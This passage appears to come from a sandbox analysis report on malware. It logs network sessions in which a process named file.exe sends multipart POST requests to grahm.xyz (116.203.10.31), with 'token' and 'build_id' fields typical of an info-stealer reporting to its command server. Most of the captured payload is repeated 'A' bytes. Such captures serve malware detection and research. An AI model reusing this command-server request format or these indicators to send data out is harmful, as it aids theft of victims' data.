AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49811	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:11 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MOP8G4OPZ58YUAA1D26P User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 4f 50 38 47 34 4f 50 5a 35 38 59 55 41 41 31 44 32 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4d 4f 50 38 47 34 4f 50 5a 35 38 59 55 41 41 31 44 32 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 4d 4f 50 38 47 34 4f 50 5a 35 38 59 55 41 41 31 44 32 36 50 0d 0a 43 6f 6e 74 Data Ascii: ------MOP8G4OPZ58YUAA1D26PContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------MOP8G4OPZ58YUAA1D26PContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------MOP8G4OPZ58YUAA1D26PCont
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:11 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49819	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:14 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDJ5FK6F37QQIECBS000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 4a 35 46 4b 36 46 33 37 51 51 49 45 43 42 53 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 4a 35 46 4b 36 46 33 37 51 51 49 45 43 42 53 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 4a 35 46 4b 36 46 33 37 51 51 49 45 43 42 53 30 30 30 0d 0a 43 6f 6e 74 Data Ascii: ------HDJ5FK6F37QQIECBS000Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------HDJ5FK6F37QQIECBS000Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------HDJ5FK6F37QQIECBS000Cont
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
